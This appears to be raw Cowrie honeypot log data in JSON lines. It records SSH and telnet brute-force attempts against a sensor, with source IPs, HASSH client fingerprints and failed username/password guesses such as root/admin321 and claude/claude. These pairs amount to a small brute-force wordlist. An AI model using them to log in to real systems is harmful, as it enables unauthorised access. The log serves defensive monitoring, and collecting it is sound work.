{"eventid":"cowrie.login.failed","username":"root","password":"2038","message":"login attempt [root/2038] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:30.864033Z","src_ip":"193.233.48.169","session":"d3064fd733cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":35432,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6282a741675","protocol":"ssh","message":"New connection: 5.181.124.9:35432 (159.203.135.109:22) [session: c6282a741675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:31.470721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:31.475839Z","src_ip":"5.181.124.9","session":"c6282a741675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:31.561131Z","src_ip":"5.181.124.9","session":"c6282a741675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:31.935874Z","src_ip":"5.181.124.9","session":"c6282a741675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:31.992783Z","src_ip":"193.233.48.169","session":"d3064fd733cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59856,"dst_ip":"10.17.0.5","dst_port":23,"session":"a872ad651952","protocol":"telnet","message":"New connection: 192.119.13.58:59856 (10.17.0.5:23) [session: a872ad651952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:32.389016Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:33.024980Z","src_ip":"5.181.124.9","session":"c6282a741675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":35918,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce49c201a0ad","protocol":"ssh","message":"New connection: 49.51.241.230:35918 (159.203.135.109:22) [session: ce49c201a0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.085050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.090265Z","src_ip":"49.51.241.230","session":"ce49c201a0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.158984Z","src_ip":"49.51.241.230","session":"ce49c201a0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softnixteam","message":"login attempt [root/softnixteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.466515Z","src_ip":"49.51.241.230","session":"ce49c201a0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":37342,"dst_ip":"159.203.135.109","dst_port":22,"session":"04c44f10b0d2","protocol":"ssh","message":"New connection: 43.135.176.251:37342 (159.203.135.109:22) [session: 04c44f10b0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.537913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.543130Z","src_ip":"43.135.176.251","session":"04c44f10b0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.612205Z","src_ip":"43.135.176.251","session":"04c44f10b0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:34.920972Z","src_ip":"43.135.176.251","session":"04c44f10b0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:35.540381Z","src_ip":"49.51.241.230","session":"ce49c201a0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:35.993602Z","src_ip":"43.135.176.251","session":"04c44f10b0d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e2f7dc4346","protocol":"telnet","message":"New connection: 192.119.13.58:51796 (10.17.0.5:23) [session: c8e2f7dc4346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:37.611010Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37776,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff97e0eb171","protocol":"telnet","message":"New connection: 192.119.13.58:37776 (10.17.0.5:23) [session: 6ff97e0eb171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:40.988343Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0792d6dc209","protocol":"telnet","message":"New connection: 192.119.13.58:56764 (10.17.0.5:23) [session: f0792d6dc209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:45.644224Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":35980,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5d96027a350","protocol":"ssh","message":"New connection: 92.207.4.157:35980 (159.203.135.109:22) [session: b5d96027a350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:47.378287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:47.386249Z","src_ip":"92.207.4.157","session":"b5d96027a350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:47.499608Z","src_ip":"92.207.4.157","session":"b5d96027a350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sammy123","message":"login attempt [root/sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:47.969587Z","src_ip":"92.207.4.157","session":"b5d96027a350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86351752281189,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:48.116359Z","src_ip":"192.119.13.58","session":"7e8ecc53126f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39754,"dst_ip":"10.17.0.5","dst_port":23,"session":"577ec7767e89","protocol":"telnet","message":"New connection: 192.119.13.58:39754 (10.17.0.5:23) [session: 577ec7767e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:48.348450Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b741f1b5d5","protocol":"telnet","message":"New connection: 192.119.13.58:42710 (10.17.0.5:23) [session: d5b741f1b5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:49.034021Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:49.180397Z","src_ip":"92.207.4.157","session":"b5d96027a350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35198,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cb24447b67b","protocol":"telnet","message":"New connection: 192.119.13.58:35198 (10.17.0.5:23) [session: 5cb24447b67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:54.166808Z"}
{"eventid":"cowrie.session.closed","duration":52.14796185493469,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:54.643587Z","src_ip":"192.119.13.58","session":"0fcdcd8fac87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26010799407959,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:55.982899Z","src_ip":"192.119.13.58","session":"37cc023e392b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ba5620b353","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: f4ba5620b353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:00.123644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:00.130000Z","src_ip":"74.243.239.219","session":"f4ba5620b353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:00.299505Z","src_ip":"74.243.239.219","session":"f4ba5620b353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2255","message":"login attempt [root/2255] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:01.003558Z","src_ip":"74.243.239.219","session":"f4ba5620b353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:02.175441Z","src_ip":"74.243.239.219","session":"f4ba5620b353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e62a67838f","protocol":"telnet","message":"New connection: 192.119.13.58:50744 (10.17.0.5:23) [session: 72e62a67838f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:05.298924Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":13692,"dst_ip":"10.17.0.5","dst_port":22,"session":"a870f397de06","protocol":"ssh","message":"New connection: 186.122.177.140:13692 (10.17.0.5:22) [session: a870f397de06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:05.664555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:05.670238Z","src_ip":"186.122.177.140","session":"a870f397de06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:05.854262Z","src_ip":"186.122.177.140","session":"a870f397de06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yangwei","message":"login attempt [root/yangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:06.632790Z","src_ip":"186.122.177.140","session":"a870f397de06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.72817540168762,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:07.054017Z","src_ip":"192.119.13.58","session":"24bf6a37ba0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:07.819275Z","src_ip":"186.122.177.140","session":"a870f397de06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.91419839859009,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:08.335039Z","src_ip":"192.119.13.58","session":"46a00937aa1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36252,"dst_ip":"10.17.0.5","dst_port":23,"session":"87520a91705f","protocol":"telnet","message":"New connection: 192.119.13.58:36252 (10.17.0.5:23) [session: 87520a91705f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:08.904067Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":53628,"dst_ip":"10.17.0.5","dst_port":22,"session":"693ffa28737d","protocol":"ssh","message":"New connection: 59.126.224.134:53628 (10.17.0.5:22) [session: 693ffa28737d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:09.073583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:09.078249Z","src_ip":"59.126.224.134","session":"693ffa28737d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:09.301137Z","src_ip":"59.126.224.134","session":"693ffa28737d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.04952144622803,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:09.438450Z","src_ip":"192.119.13.58","session":"a872ad651952","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"happy","message":"login attempt [root/happy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:10.294549Z","src_ip":"59.126.224.134","session":"693ffa28737d","protocol":"ssh"}
